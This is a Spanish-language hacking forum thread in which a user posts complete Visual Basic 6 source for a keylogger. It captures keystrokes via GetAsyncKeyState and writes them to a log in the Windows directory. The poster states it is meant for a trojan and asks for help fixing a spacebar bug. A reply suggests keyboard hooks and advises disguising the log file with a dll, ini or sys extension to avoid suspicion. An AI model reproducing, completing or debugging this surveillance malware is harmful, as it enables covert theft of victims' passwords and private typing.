Ayuda con mi Keylogger

Iniciado por mastercss, 23 Febrero 2011, 17:57 PM

0 Miembros y 1 Visitante están viendo este tema.

mastercss

Bueno en primer lugar antes de que nadie diga nada. El codigo no es copiado, me base mucho en un code que vi, pero hay bastantes cosillas cambiadas. Desconozco el autor del code original pero en principio los comentarios estaban en ingles.

El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola     ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.

En el form:
Código (vb) [Seleccionar]
Private Sub Command1_Click()
Timer1.Enabled = True
Timer2.Enabled = True
Command1.Enabled = False
Command2.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Command2.Enabled = False
Command1.Enabled = True
End Sub

Private Sub Form_Load()
Command2.Enabled = False
Timer1.Enabled = False
caracter(33) = "[Pag Arriba]"
caracter(34) = "[Pag Abajo]"
caracter(35) = "[Fin]"
caracter(36) = "[Inicio]"
caracter(45) = "[Insertar]"
caracter(46) = "[Supr]"
caracter(48) = "="
caracter(49) = "!"
caracter(50) = "@"
caracter(51) = "#"
caracter(52) = "$"
caracter(53) = "%"
caracter(54) = "&"
caracter(55) = "/"
caracter(56) = "("
caracter(57) = ")"
caracter(186) = "`"
caracter(187) = "+"
caracter(188) = ","
caracter(189) = "-"
caracter(190) = "."
caracter(191) = "}"
caracter(219) = "{" '
caracter(220) = "\"
caracter(221) = "¡"
caracter(222) = "{"
caracter(86) = "^"
caracter(87) = "*"
caracter(88) = ";"
caracter(89) = "_"
caracter(90) = ":"
caracter(91) = "?"
caracter(119) = "?"
caracter(120) = "|"
caracter(121) = "¿"
caracter(122) = """"
caracter(96) = "0"
caracter(97) = "1"
caracter(98) = "2"
caracter(99) = "3"
caracter(100) = "4"
caracter(101) = "5"
caracter(102) = "6"
caracter(103) = "7"
caracter(104) = "8"
caracter(105) = "9"
caracter(106) = "*"
caracter(107) = "+"
caracter(109) = "-"
caracter(110) = "."
caracter(111) = "/"
caracter(192) = "ñ"
caracter(92) = "Ñ"
End Sub

Private Sub Timer1_Timer()
Dim teclas As Long
For teclas = 65 To 90
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           If GetKeyState(VK_CAPITAL) > 0 Then
               Text1.Text = Text1.Text & LCase(caracter(teclas))
               Exit Sub
           Else
               Text1.Text = Text1.Text & UCase(caracter(teclas))
               Exit Sub
           End If
       Else
           If GetKeyState(VK_CAPITAL) > 0 Then
               Text1.Text = Text1.Text & UCase(caracter(teclas))
               Exit Sub
           Else
               Text1.Text = Text1.Text & LCase(caracter(teclas))
               Exit Sub
           End If
       End If
   End If
Next
For teclas = 48 To 57
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 186 To 192
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas - 100)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 219 To 222
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas - 100)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 96 To 111
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_ALT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       Else
           Text1.Text = Text1.Text & "[Alt]"
           Exit Sub
       End If
   End If
Next
If GetAsyncKeyState(32) = -32767 Then
   Text1.Text = Text1.Text & " "
End If
If GetAsyncKeyState(13) = -32767 Then
   Text1.Text = Text1.Text & "Enter>" & vbCrLf
End If
If GetAsyncKeyState(8) = -32767 Then
   If (Right(Text1.Text, 1)) = " " Then GoTo nod
      tip = Len(Text1.Text) - 1
      Text1.Text = Left(Text1.Text, tip)
nod:
   End If

If GetAsyncKeyState(37) = -32767 Then
   Text1.Text = Text1.Text & "[Izquierda]"
End If

If GetAsyncKeyState(38) = -32767 Then
   Text1.Text = Text1.Text & "[Arriva]"
End If

If GetAsyncKeyState(39) = -32767 Then
   Text1.Text = Text1.Text & "[Derecha]"
End If

If GetAsyncKeyState(40) = -32767 Then
   Text1.Text = Text1.Text & "[Abajo]"
End If

If GetAsyncKeyState(9) = -32767 Then
   Text1.Text = Text1.Text & "[Tab]"
End If

If GetAsyncKeyState(27) = -32767 Then
   Text1.Text = Text1.Text & "[Escape]"
End If

For teclas = 45 To 46
   If GetAsyncKeyState(teclas) = -32767 Then
       Text1.Text = Text1.Text & caracter(letras)
   End If
Next
End Sub

Private Sub Timer2_Timer()
GuardaLog
End Sub


En el módulo:
Código (vb) [Seleccionar]
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public caracter(255) As String
Public Const VK_SHIFT = &H10
Public Const VK_CTRL = &H11
Public Const VK_ALT = &H12
Public Const VK_CAPITAL = &H14
Public AltDown As Boolean

Function GuardaLog()
Dim ar As String
Open Environ("windir") & "\keylog.txt" For Output As #1
Print #1, Form1.Text1.Text
Close #1
End Function

Function LeeLog(archivo As String) As String
Dim lee As String
Open archivo For Input As #1
   lee = Input(LOF(1), 1)
Close #1
LeeLog = lee
End Function


El espacio es el código ascii 32 pero ahi no veo ningun problema.

Salu2 y gracias por adelantado.

Psyke1

#1
Hola.
No te ofendas, pero ese código hace daño a la vista, 2 timers, muchos bucles... :-\
Investiga sobre hooks, consumen pocos recursos y ahorras muuuuucho código.
Mira, te dejo un ejemplo que posteo mi amiguete Karcry :
http://foro.elhacker.net/programacion_vb/vb6_creacion_de_un_keylogger_avanzado_hook-t264469.0.html


Si quieres otro consejo:
No necesariamente debes guardarlo .txt, puedes guardarlo con otra extension (dll, ini, sys...) o alguna inventada por ti para levantar menos sospechas... :rolleyes:

DoEvents! :P

mastercss

Muchas gracias justo ahora estaba investigando sobre "hooks" a ver si me va bien con ellos. Salu2

mastercss

Bueno despues de leer un poco, definitivamente los hooks me quedan bastante grandes xDDDDDDD.

Es decir, el manual esta muy bien pero hay muchas clases y constantes de la api SetWindowsHookEx y SetWindowsHook que no hay explicadas. Me veo incapaz de entender el codigo asi que lo siguire intentando.

Salu2

Psyke1

Bueno, al menos te molestaste en verlo. :)
No te preocupes ya lo entenderás con el tiempo. ;)
Busca más ejemplos por la web para ayudarte, lee algun manual, porque como ya te dije tu src se puede optimizar... y mucho.

DoEvents! :P